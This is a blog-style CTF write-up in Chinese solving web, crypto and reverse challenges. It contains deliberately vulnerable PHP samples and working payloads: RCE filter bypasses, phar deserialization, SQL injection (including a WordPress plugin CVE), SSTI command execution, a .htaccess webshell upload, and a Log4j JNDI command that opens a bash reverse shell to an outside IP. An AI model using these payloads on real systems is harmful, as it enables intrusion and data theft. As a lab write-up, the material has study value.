• [HNCTF]Web详解_原创


    WEB

    Challenge__rce

    根据给出的源代码来看典型的命令执行但是正则匹配掉说有的字母只留下数字和少量字符串。

    根据大佬给出的思路使用自增绕过

    
    error_reporting(0);
    if (isset($_GET['hint'])) {
        highlight_file(__FILE__);
    }
    if (isset($_POST['rce'])) {
        $rce = $_POST['rce'];
        if (strlen($rce) <= 120) {
            if (is_string($rce)) {
                if (!preg_match("/[!@#%^&*:'\-\"\/|`a-zA-Z~\\\\]/", $rce)) {
                    eval($rce);
                } else {
                    echo("Are you hack me?");
                }
            } else {
                echo "I want string!";
            }
        } else {
            echo "too long!";
        }
    }
    
    
    $__ = ([].β);
    $_=$__[3];
    $_++;
    $_1=++$_;
    $_++;$_++;$_++;$_++;//h
    $_=$_1.++$_.$__[2];//chr
    $_=_.$_(71).$_(69).$_(84);
    $$_[1]($$_[2]);
    //payload =$__ = ([].β);$_=$__[3];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__[2];$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
    ?>
    

    payload 使用自增运出php函数chr使用数字在构造get

    ez_SSTI

    给出的poc即可

    详细解释链接

    1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

    Jinja2 SSTI - HackTricks

    Canyource

    源码

    无参数注入

    
    highlight_file(__FILE__);
    if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);}
    else
        die('nonono');}
    else
        echo('please input code');
    ?>
    

    payload

    eval(end(current(get_defined_vars())));&b=phpinfo();
    

    ez_phar

    phar简介

    我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

    PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行

    题目有两个页面,一个主要进行命令执行,另一个上传phar文件

    
    show_source(__FILE__);
    class Flag{
        public $code;
        public function __destruct(){
        // TODO: Implement __destruct() method.
            eval($this->code);
        }
    }
    $filename = $_GET['filename'];
    file_exists($filename);
    ?>
    

    payload

    
    class Flag{
        public $code;
        public function __destruct(){
            // TODO: Implement __destruct() method.
            eval($this->code);
        }
    }
    $phar = new Phar('3.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'');//绕过过滤,不过本题没有过滤
    $phar -> addFromString('text.txt','text');
    $object = new Flag();
    $object -> code= 'system("cat /ffflllaaaggg");';//与题目中code命令对应,从而执行命令注入
    $phar -> setMetadata($object);
    $phar -> stopBuffering();
    

    ohmywordpress

    wpscan 扫描该插件版本搜索发现存在基于时间盲注漏洞

    详细链接:NSFOCUS绿盟科技

    Simple Link Directory < 7.7.2 - Unauthenticated SQL injection WordPress Security Vulnerability (wpscan.com)

    WordPress Simple Link Directory Plugin SQL注入漏洞(CVE-2022-0760)

    payload

    --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)' 
    

    ez_ssrf

    介绍链接

    渗透小白看了也能明白的SSRF - FreeBuf网络安全行业门户

    
    
    highlight_file(__FILE__);
    error_reporting(0);
    
    $data=base64_decode($_GET['data']);
    $host=$_GET['host'];
    $port=$_GET['port'];
    
    $fp=fsockopen($host,intval($port),$error,$errstr,30);
    if(!$fp) {
        die();
    }
    else {
        fwrite($fp,$data);
        while(!feof($data))
        {
            echo fgets($fp,128);
        }
        fclose($fp);
    }
    

    payload

    $out = "GET /flag.php HTTP/1.1\r\n";
    $out .= "Host: 127.0.0.1\r\n"; 
    $out .= "Connection: Close\r\n\r\n";
    echo base64_encode($out);
    
    payload:
    ?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
    

    easy_unser

    题目代码

    题目要求绕过_wakeup 和is_file 函数

    
    include 'f14g.php';
    error_reporting(0);
    
    highlight_file(__FILE__);
    
    class body{
    
        private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
    
        public function  __construct($want){
            $About_me = "When the object is created,I will be called";
            if($want !== " ") $this->want = $want;
            else $this->want = $this->todonothing;
        }
        function __wakeup(){
            $About_me = "When the object is unserialized,I will be called";
            $but = "I can CHANGE you";
            $this-> want = $but;
            echo "C1ybaby!";
    
        }
        function __destruct(){
            $About_me = "I'm the final function,when the object is destroyed,I will be called";
            echo "So,let me see if you can get what you want\n";
            if($this->todonothing === $this->want)
                die("鲍勃,别傻愣着!\n");
            if($this->want == "I can CHANGE you")
                die("You are not you....");
            if($this->want == "f14g.php" OR is_file($this->want)){
                die("You want my heart?No way!\n");
            }else{
                echo "You got it!";
                highlight_file($this->want);
            }
        }
    }
    
    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
    "
    ; function __sleep(){ $About_me = "When the object is serialized,I will be called"; echo "We Come To HNCTF,Enjoy the ser14l1zti0n
    "
    ; } function __toString(){ $About_me = "When the object is used as a string,I will be called"; return $this->CORE; } } $obj = new unserializeorder(); echo $obj; $obj = serialize($obj); echo $obj; if (isset($_GET['ywant'])) { $ywant = @unserialize(@$_GET['ywant']); echo $ywant; } ?>

    poc

    
    class body{
        private $todonothing = "test";
        private $want='./b/../f14g.php';//绕过is_file 会检查文件合规性 只需要构造不正确路径即可
    }
    $obj = new  body();
    echo (urlencode(serialize($obj)));
    

    logjjjjlogjjjj

    史诗级漏洞 尝试外带并没有成功只好使用vps进行尝试

    下载链接 https://github.com/bkfish/Apache-Log4j-Learning/tree/main

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTQuMTA1LjI1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 106.14.105.25
    

    直接打payload即可

    image-20221102085007255

    %24%7Bjndi%3Armi%3A%2F%2F106.14.105.25%3A1099%2Fbtdoqa%7D

    编码打payload直接获得反弹shell

    image-20221102085303368

    Fun_php

    
    error_reporting(0);
    highlight_file(__FILE__);
    include "k1y.php";
    include "fl4g.php";
    $week_1 = false;
    $week_2 = false;
    
    $getUserID = @$_GET['user'];
    $getpass = (int)@$_GET['pass'];
    $getmySaid = @$_GET['mySaid'];
    $getmyHeart = @$_GET['myHeart'];
    
    $data = @$_POST['data'];
    $verify =@$_POST['verify'];
    $want = @$_POST['want'];
    $final = @$_POST['final'];
    
    if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
        echo "Welcom T0 1he HNCTF2022
    "
    ; if("state_HNCTF2022" == 1) echo $hint; else echo "HINT? NoWay~!
    "
    ; if(is_string($getUserID)) $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r if($user == 114514 && $getpass == $pass){ if (!ctype_alpha($getmySaid)) die(); if (!is_numeric($getmyHeart)) die(); if(md5($getmySaid) != md5($getmyHeart)){ die("Cheater!"); } else $week_1 = true; } if(is_array($data)){ for($i=0;$i<count($data);$i++){ if($data[$i]==="Probius") exit(); $data[$i]=intval($data[$i]); } if(array_search("Probius",$data)===0) $week_2 = true; else die("HACK!"); } if($week_1 && $week_2){ if(md5($data)===md5($verify)) // ‮⁦HNCTF⁩⁦Welcome to if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want)) die("HACK!"); else{ echo "Fine!you win"; system("cat ./$want"); } } else die("HACK!"); } ?>

    其实挺简单的,不过没仔细分析

    payload

    @Get
    ?user=114514a&pass=0&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6ctf
    
    @POST
    data[]=0&verify[]=1&want=f*%26%26tac+f*>a or *
    

    [WEEK3]QAQ_1inclu4e

    这个题目有点复杂主要考察文件包含,以及条件竞争

    主要是利用session.upload_progress进行文件包含和反序列化渗透

    enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
    
    cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
    
    name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
    
    prefix+name将表示为session中的键名
    
    1. session.upload_progress.enabled = on
    2. session.upload_progress.cleanup = on
    3. session.upload_progress.prefix = "upload_progress_"
    4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    5. session.upload_progress.freq = "1%"
    6. session.upload_progress.min_freq = "1"
    

    网络中具体解释如何创建session

    其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
    
    但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
    
    值得注意的是可以在session文件没有被清空之前进行利用这就需要用到条件竞争了
    

    有了思路和利用方法就可以进行编写代码

    import requests
    import threading
    import io
    
    sess_id = "abc"  # sess拼接的文件名
    url = "http://43.143.7.97:28098/"  # 修改url地址
    data = {"aaa": "system('cat /var/ffflllaaagggflag');"}  # 执行的命令
    filename = "test.txt"  # 上传的文件名  要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送   而且会存储到sess_id文件里面
    parameter = "QAQ"  # 参数名称
    catalogue = "/tmp"  # 存放session文件的目录
    
    def write(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}{sess_id}"}
            cookies = {"PHPSESSID": sess_id}
            files = {"file": (filename, f)}
            session.post(url=url, data=data, cookies=cookies, files=files)
    
    
    def read(session):
        while True:
            resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
            if filename in resp.text:
                print(resp.text)
                event.clear()
    
    
    if __name__ == '__main__':
        event = threading.Event()
        with requests.session() as session:
            for i in range(1, 30):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(1, 30):
                threading.Thread(target=read, args=(session,)).start()
    
    

    [WEEK3]ssssti

    blacklist = ['\'', '"', 'args', 'os', '_']
    
    这过滤就让人难搞了,魔法方法下划线没了
    
    

    绕过方式有这几种

    request.args.name
    request.cookies.name
    request.headers.name
    request.values.name
    request.form.name
    

    [BJDCTF2020]Easy MD5

    查看网络请求包发现提示

    image-20221104171725955

    select * from 'admin' where password=md5($pass,true)
    
    

    突破点在md5($pass,true)这里,先来看看md5函数的用法:

    image-20221104171818261

    可以看到这里的raw参数是True,意为返回原始16字符二进制格式。

    也就是说如果md5值经过hex转成字符串后为 'or'+balabala这样的字符串,则拼接后构成的SQL语句为:

    select * from `admin` where password=''or'balabala'
    

    当'or'后面的值为True时,即可构成万能密码实现SQL注入,这里我们需要知道的是MySQL的一个特性:

    在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
    要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or 1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
    当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
    当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
     
    
    select * from `admin` where password=''or'1abcdefg'    --->  True
    select * from `admin` where password=''or'0abcdefg'    --->  False
    select * from `admin` where password=''or'1'           --->  True
    select * from `admin` where password=''or'2'           --->  True
    select * from `admin` where password=''or'0'           --->  False
    

    ******只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点****。

    我们可以通过这个脚本来获得满足我们要求的明文

     
    for ($i = 0;;) { 
     for ($c = 0; $c < 1000000; $c++, $i++)
      if (stripos(md5($i, true), '\'or\'') !== false)
       echo "\nmd5($i) = " . md5($i, true) . "\n";
     echo ".";
    }
    ?>
    
    //引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
    

    这里提供一个最常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6 (其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉)

    所以如果这里我们输入ffifdyop,后端的SQL语句会变成

    select * from `admin` where password=''or'6'           --->  True
    

    输入可进入下一个页面

    根据提示这属于php类型狠活,数组即可绕过

    
    

    绕过后来到下一关第一个判断也是弱比较,后面三个等于变成的强比较使用md50e绕过即可

    出的不严谨数组还是可以绕过

    payload =param1[]=QNKCDZO¶m2[]=

    
    error_reporting(0);
    include "flag.php";
    
    highlight_file(__FILE__);
    
    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
    }
    

    [ZJCTF 2019]NiZhuanSiWei

      
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //这个最开始并不知道什么意思看了一下笔记使用伪协议达到目的,具体了解函数用法
        echo "

    ".file_get_contents($text,'r')."


    "
    ; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

    根据提示读取php文件如果直接包含肯定不行,使用伪协议读取

    php://filter/read=convert.base64-encode/resource=useless.php

    //
    //class Flag{  //flag.php
    //    public $file;
    //    public function __tostring(){
    //        if(isset($this->file)){
    //            echo file_get_contents($this->file);
    //            echo "
    ";
    // return ("U R SO CLOSE !///COME ON PLZ"); // } // } //} class Flag{ public $file='flag.php'; } $obj = new Flag(); echo serialize($obj); ?>

    简单反序列化构造序列化即可

    发送可得到flag

    [GXYCTF2019]BabyUpload

    简单文件上传

    fazz测试过后php后缀以及含有php内容都被办掉,图片文件只剩下jpg可以利用

    不过测试过后发现 .htaccess 可以上传

    .htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

    <FilesMatch "cxk">
    
    SetHandler  application/x-httpd-php
    
    FilesMatch>
    

    image-20221105222013783

    成功构造只需要上传规定的后缀名字木马即可getshell

    不过有一点奇怪直接上传php会被检测,把木马写入前端即可。

    
    

    image-20221105222947599

    访问使用蚁剑即可得到flag

    [RoarCTF 2019]Easy Java

    image-20221106104104865

    一个登陆解密经过暴力破解可登陆系统

    密码为admin888

    登陆后提示并不是这个地方 查询文章后得知首先得了解javaweb

    大致如下格式

    src/main/java: 这个目录一般是存放web项目的Java源文件的
    src/main/resource: 这个目录一般是存放相关的配置文件
    src/main/webapp: 这个目录一般是和web应用相关的
    webapp下的文件目录是容易出现安全问题的
    /WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 
    /WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
    

    访问发现居然还存在下载页面也就是说可以下载配置文件也有可能下载系统文件,不过后面尝试并没有成功不知道为何。

    这就好办了下载 /WEB-INF/web-xml

      <servlet>
            <servlet-name>FlagControllerservlet-name>
            <servlet-class>com.wm.ctf.FlagControllerservlet-class>
        servlet>
        <servlet-mapping>
            <servlet-name>FlagControllerservlet-name>
            <url-pattern>/Flagurl-pattern>
        servlet-mapping>
    
    web-app>
    

    get=Download

    post=filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

    下载即可得到flag

    [CISCN2019 华北赛区 Day2 Web1]Hack World

    sql盲注

    几种payload

    if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
    (select(ascii(mid(flag,1,1))=1)from(flag))
    
    import requests
    import string
    
    def blind_injection(url):
    	flag = ''
    	strings = string.printable
    	for num in range(1,60):
    		for i in strings:
    			payload = ' if(ascii(substr((select flag from flag),{},1))={},1,2)'.format(num,ord(i))
    			post_data = {"id":payload}
    			res = requests.post(url=url,data=post_data)
    			import time
    			time.sleep(0.5)
    			if 'Hello' in res.text:
    				flag += i
    				print(flag)
    			else:
    				continue
    	print(flag)
    
    
    
    url = 'http://aadc335b-4e7f-4074-a3d8-ac6897aac0dd.node4.buuoj.cn:81/'
    blind_injection(url)
    
    

    [BUUCTF 2018]Online Tool

    考察nmap具体用法

    nmap有一个参数-oG可以实现将命令和结果写到文件所以我们可以控制自己的输入写入文件

    题目代码

    
    
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    
    if(!isset($_GET['host'])) {
        highlight_file(__FILE__);
    } else {
        $host = $_GET['host'];
        $host = escapeshellarg($host);
        //escapeshellarg
        //1,确保用户值传递一个参数给命令
        //2,用户不能指定更多的参数
        //3,用户不能执行不同的命令
        $host = escapeshellcmd($host);
        //escapeshellarg
        //1,确保用户值传递一个参数给命令
        //2,用户不能指定更多的参数
        //3,用户不能执行不同的命令    
        $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
        echo 'you are in sandbox '.$sandbox;
        @mkdir($sandbox); //根据地址加上特定字符md5创建文件夹。
        chdir($sandbox);
        echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    }
    

    简单来说两个函数会对单引号进行转义

    传入的参数是:172.17.0.2' -v -d a=1
    经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
    经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
    最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
    

    利用方法如下

    由于单引号被过滤可以使用反引号进行命令执行

    payload

    '  -oG test.php '
    

    [GWCTF 2019]我有一个数据库

    经过文件目录扫描存在两个页面分别是phpmyadmin robots.txt

    image-20221108160731709

    扫描发现该版本存在任意文件读取漏洞

    payload

    index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
    

    [GXYCTF2019]禁止套娃

    考察的无参数命令执行以及任意文件读取

    首先需要了解几个系统函数

    scandir(current(localeconv()))是查看当前目录
    加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
    再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
    highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码
    

    两种解题思路

    直接调用系统函数读取

    例如这样

    //列出当前文件
    var_dump(scandir(current(localeconv())));
    读取文件
    readfile(next(array_reverse(scandir(current(localeconv())))));
    

    或者使用cookie进行读取

    payload

    GET:readfile(session_id(session_start()));
    cookie:PHPSESSID=flag.php
    

    [BJDCTF2020]ZJCTF,不过如此

    题目代码

    
    
    error_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){//伪协议指定内容绕过第一层内容
        echo "

    ".file_get_contents($text,'r')."


    "
    ; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php 伪协议读取文件 } else{ highlight_file(__FILE__); } ?>

    payload

    http://f6bdd871-bf24-425f-ac9c-dd42913f56c0.node4.buuoj.cn:81/?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
    

    访问可得到下一个内容php内容

    
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei', //这样子正则匹配会造成漏洞
            'strtolower("\\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "\n";
    }
    
    function getFlag(){
    	@eval($_GET['cmd']);
    }
    
    

    利用代码

    ?\S*=${phpinfo()}
    
    [\s]---表示,只要出现空白就匹配;
    
    [\S]---表示,非空白就匹配;
    

    打入成功执行phpinfo

    接下来就需要利用代码给出的function 进行命令执行

    ?\S*=${getFlag()}&cmd=system('id');
    

    [BSidesCF 2020]Had a bad day

    文件包含

    只截取部分关键代码

    
                 	
    				$file = $_GET['category'];
    
    				if(isset($file))
    				{
    					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){//包含的文件中必须存在这三个关键字
    						include ($file . '.php');
    					}
    					else{
    						echo "Sorry, we currently only support woofers and meowers.";
    					}
    				}
    				?>
    

    payload

    category=php://filter/read=convert.base64-encode/resource=index/../flag
    

    [BJDCTF2020]The mystery of ip

    image-20221111181357894

    可以看出记录了Ip尝试进行修改

    发现这个可以人为的控制

    X-Forwarded-For:127.0.0.1
    

    既然可以控制,应该可以命令注入,测试发现存在模板注入

    image-20221111181714043

    PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_php模板注入

    X-Forwarded-For:{{system('id')}}
    

    [BJDCTF2020]Cookie is so stable

    一共框框可输入用户名抓包查看发现用户名包含到cookie里面

    尝试使用模板注入可成功执行

    {{7*7}}//twig模板
    构造payload即可
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    

    [SWPU2019]Web1

    注册用户登陆里面可以发送广告,存在XSS和SQL注入,不过屏蔽了关键的information_schema 可以使用无列名注入

    空格也进行了过滤

    1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
    1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    
    

    [WUSTCTF2020]颜值成绩查询

    SQL盲注

    写出脚本即可

    1/**/and/**/(ascii(substr((select(database())),1,1))=99)
    1/**/and/**/(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))={})
    (ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})
    1/**/and/**/(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))={})
    1/**/and/**/(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),1,1))=102)
    1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))={})^1
    
    0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{}/**/for/**/1))={}#".format(i,ord(j))
    
    

    [极客大挑战 2019]RCE ME

    题目代码

    
    error_reporting(0);
    if(isset($_GET['code'])){
                $code=$_GET['code'];
                        if(strlen($code)>40){
                                            die("This is too Long.");
                                                    }
                        if(preg_match("/[A-Za-z0-9]+/",$code)){
                                            die("NO.");
                                                    }
                        @eval($code);
    }
    else{
                highlight_file(__FILE__);
    }
    
    // ?>
    

    正则过滤字母数字

    把字符进行url编码 使用取反绕过

    
    $a = 'assert';
    echo urlencode(~$a);
    echo "
    "
    ; $b ='(eval($_POST[cmd]))'; echo urlencode(~$b); ?>
    get
    code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
    post
    cmd=phpinfo();
    

    由于disable_functions 把许多系统函数给禁用了,所以只能连接木马

    webshell工具连接并不能直接执行命令,flag是一个程序也无法进行下载。网络中搜索发现有脚本可绕过

    蚁剑中也存在插件 安装比较麻烦建议线下安装上去

    image-20221127185022424

    image-20221127190451077

    使用即可执行命令

    image-20221127190636490

    [NCTF2019]Fake XML cookbook

    xml注入打payload即可

    image-20221128224908567

    [GXYCTF2019]BabySQli

    image-20221129223204593

    抓包查看发现存在注释base32解码,解码内容如下

    select * from user where username = '$name'
    
    

    fuzz测试一下过滤很多

    这里引用出一个虚假库概念大概这样子

    image-20221129223645754

    使用union 可以插入一个虚假数据退出及消除使用这种方法可得到flag

    image-20221129223829132

    CRYPTO

    XXXOOORRR

    from flag import flag
    from Crypto.Util.number import *
    import os
    
    randBytes = [bytes_to_long(os.urandom(64)) for _ in range(3)]
    m = bytes_to_long(flag)
    
    print(f'a = {randBytes[0]}')
    print(f'b = {randBytes[0] ^ randBytes[1]}')
    print(f'c = {randBytes[1] ^ randBytes[2]}')
    print(f'd = {m ^ randBytes[0] ^ randBytes[1] ^ randBytes[2]}')
    
    '''
    a = 1215421974111272707828609697064234072332368362928440865251897449605952163161176359366553487776268706107760670434157083936287598207881176904763353849369234
    b = 10533604054267448009117468094542127075826310122733511023911022436253583775790861879410728001403728088545946257902341417532648419689212361977221573357292618
    c = 6401236597601556248960570084212025183497657335932789785351897915858852832577623776212842429736547820800219382515052263929074210010546149322465536545021479
    d = 5711309307698496426409561761492698639489294806611133698231840146911562848869711567477706456972659368849642409039245400981517493100724067475248620536111560
    '''
    
    
    a = 1215421974111272707828609697064234072332368362928440865251897449605952163161176359366553487776268706107760670434157083936287598207881176904763353849369234
    b = 10533604054267448009117468094542127075826310122733511023911022436253583775790861879410728001403728088545946257902341417532648419689212361977221573357292618
    c = 6401236597601556248960570084212025183497657335932789785351897915858852832577623776212842429736547820800219382515052263929074210010546149322465536545021479
    d = 5711309307698496426409561761492698639489294806611133698231840146911562848869711567477706456972659368849642409039245400981517493100724067475248620536111560
    
    m = d^a^c
    print(long_to_bytes(m))
    

    异或回来即可

    flag=NSSCTF{XOR_ha5_many_propertie5_and_thi5_i5_ju5t_one_of_them}

    A dictator

    提升roamon想到是凯撒加密在线网站解密即可

    baby_rsa

    题目

    from Crypto.Util.number import bytes_to_long, getPrime
    from gmpy2 import *
    from secret import flag
    m = bytes_to_long(flag)
    p = getPrime(128)
    q = getPrime(128)
    n = p * q
    e = 65537
    c = pow(m,e,n)
    print(n,c)
    # 62193160459999883112594854240161159254035770172137079047232757011759606702281
    # 17331436837911040930486942133359735652484926528331507431552667656734821231501
    

    首先需要对给定的数据进行处理操作 使用代码得出fn

    factordb.com

    import gmpy2
    from  Crypto.Util.number import *
    n= 62193160459999883112594854240161159254035770172137079047232757011759606702281
    c = 17331436837911040930486942133359735652484926528331507431552667656734821231501
    e = 65537
    p =  234560843346150602519484260867514743467
    q = 265147241000574873803071047177766359643
    fn = (p-1)*(q-1)
    d=gmpy2.invert(e,fn)
    m = pow(c,d,n)
    print(long_to_bytes(m))
    
    

    flag=NSSCTF{Welc0m3_t0_7h3_RSA_w0r1d}

    md5太残暴了

    根据给定的提升只需要写出脚本进行md5运算等于给定的值即可

    
    小明养成了定期修改密码的好习惯,同时,他还是一个CTF爱好者。有一天,他突发奇想,用flag格式来设置密码,为了防止忘记密码,他还把密码进行了md5加密。为了避免被其他人看到全部密码,他还特意修改了其中部分字符为#。你能猜出他的密码吗?
    plaintext = flag{#00#_P4ssw0rd_N3v3r_F0rg3t_63####}
    md5 = ac7f4d52c3924925aa9c8a7a1f522451
    PS: 第一个#是大写字母,第二个#是小写字母,其他是数字。
    
    

    payload

    import hashlib
    MAX_CHR = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
    MIN_CHR = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
    MAX_SUM = ['1','2','3','4','5','6','7','8','9','0']
    # decode_text = "flag{#00#_P4ssw0rd_N3v3r_F0rg3t_63####}"
    for i in MAX_CHR:
        for j in MIN_CHR:
            for k in MAX_SUM:
                for l in MAX_SUM:
                    for m in MAX_SUM:
                        for n in MAX_SUM:
                            decode_text = "flag{"+i+"00"+j+"_P4ssw0rd_N3v3r_F0rg3t_63"+k+""+l+""+m+""+n+"}"
                            data = hashlib.md5()
                            data.update(str(decode_text).encode('utf-8'))
                            encode_data = data.hexdigest()
                            if encode_data=="ac7f4d52c3924925aa9c8a7a1f522451":
                                print(i,j,k,l,m,n)
                                break
                            
    

    PWN

    我不会了

    REVERSE

    x0r

    一道简单的逆向分析

     _main();
      puts("please input your flag!");
      scanf("%s", Str);
      if ( strlen(Str) != 22 )
      {
        printf("strlen error!");
        exit(0);
      }
